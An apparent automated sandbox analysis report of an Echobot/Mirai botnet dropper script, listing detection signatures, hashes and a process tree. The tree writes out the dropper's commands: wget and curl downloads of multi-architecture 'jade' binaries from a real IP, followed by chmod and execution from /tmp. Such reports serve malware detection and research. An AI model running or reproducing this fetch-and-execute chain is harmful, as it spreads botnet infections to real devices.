Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28-10-2024 03:17

General

  • Target

    c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh

  • Size

    1KB

  • MD5

    a40d8e1695f7f86ab08feb9465a4d69e

  • SHA1

    48ce62e5415710d5b8d7f9d120842010f259909d

  • SHA256

    c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c

  • SHA512

    09e74caae29b43281aaca4e7a9a64667a85040184249c9cb9b9903109f8ec06782cbf7861129f905f895d8cc1516dab6969c2d9a174478c509b2d707e355268f

Malware Config

Signatures

  • Detected Echobot 1 IoCs
  • Echobot

    An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.

  • Echobot family
  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (170810) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 20 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 10 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 10 IoCs
  • Reads system network configuration 1 TTPs 10 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh
    /tmp/c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh
    1⤵
    • Writes file to tmp directory
    PID:1483
    • /usr/bin/wget
      wget http://5.59.248.145/bins/jade.x86
      2⤵
      • Writes file to tmp directory
      PID:1484
    • /usr/bin/curl
      curl -O http://5.59.248.145/bins/jade.x86
      2⤵
      • Writes file to tmp directory
      PID:1489
    • /bin/cat
      cat jade.x86
      2⤵
        PID:1490
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
        2⤵
        • File and Directory Permissions Modification
        PID:1491
      • /tmp/cp
        ./cp x86
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1492
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1496
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1503
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.mips jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
        2⤵
        • File and Directory Permissions Modification
        PID:1505
      • /tmp/cp
        ./cp mips
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        PID:1506
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1512
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
        2⤵
        • File and Directory Permissions Modification
        PID:1521
      • /tmp/cp
        ./cp mpsl
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1522
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.arm
        2⤵
        • Writes file to tmp directory
        PID:1526
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.arm
        2⤵
        • Writes file to tmp directory
        PID:1533
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /tmp/cp
        ./cp arm
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1536
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.arm5
        2⤵
        • Writes file to tmp directory
        PID:1540
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.arm5
        2⤵
        • Writes file to tmp directory
        PID:1547
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
        2⤵
        • File and Directory Permissions Modification
        PID:1549
      • /tmp/cp
        ./cp arm5
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1550
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.arm6
        2⤵
        • Writes file to tmp directory
        PID:1556
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.arm6
        2⤵
        • Writes file to tmp directory
        PID:1563
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
        2⤵
        • File and Directory Permissions Modification
        PID:1565
      • /tmp/cp
        ./cp arm6
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1566
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.arm7
        2⤵
        • Writes file to tmp directory
        PID:1570
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.arm7
        2⤵
        • Writes file to tmp directory
        PID:1577
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
        2⤵
        • File and Directory Permissions Modification
        PID:1579
      • /tmp/cp
        ./cp arm7
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1580
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.ppc
        2⤵
        • Writes file to tmp directory
        PID:1584
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.ppc
        2⤵
        • Writes file to tmp directory
        PID:1591
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.mips jade.mpsl jade.ppc jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
        2⤵
        • File and Directory Permissions Modification
        PID:1593
      • /tmp/cp
        ./cp ppc
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1594
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.m68k
        2⤵
        • Writes file to tmp directory
        PID:1598
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.m68k
        2⤵
        • Writes file to tmp directory
        PID:1605
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.m68k jade.mips jade.mpsl jade.ppc jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
        2⤵
        • File and Directory Permissions Modification
        PID:1607
      • /tmp/cp
        ./cp m68k
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1608
      • /usr/bin/wget
        wget http://5.59.248.145/bins/jade.sh4
        2⤵
        • Writes file to tmp directory
        PID:1612
      • /usr/bin/curl
        curl -O http://5.59.248.145/bins/jade.sh4
        2⤵
        • Writes file to tmp directory
        PID:1619
      • /bin/chmod
        chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.m68k jade.mips jade.mpsl jade.ppc jade.sh4 jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
        2⤵
        • File and Directory Permissions Modification
        PID:1621
      • /tmp/cp
        ./cp sh4
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:1622

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • /tmp/jade.x86

      Filesize

      68KB

      MD5

      9dae832b43230cdf6f41aeeb8aff1a30

      SHA1

      f399b7f5c4a08298d0a199ee27ab96a546f23c2e

      SHA256

      337f54805daa4730a201e251146a89820eb23aaa4604f681781c016b12c91c21

      SHA512

      ba90eb1d666d12933870c43acfb511ded11ce1c2105c2fda617865584713f31e323480e9c1e4cdbb6bdb5d694ed82b177e522a0e81c8486c90e1c1e9e54e521b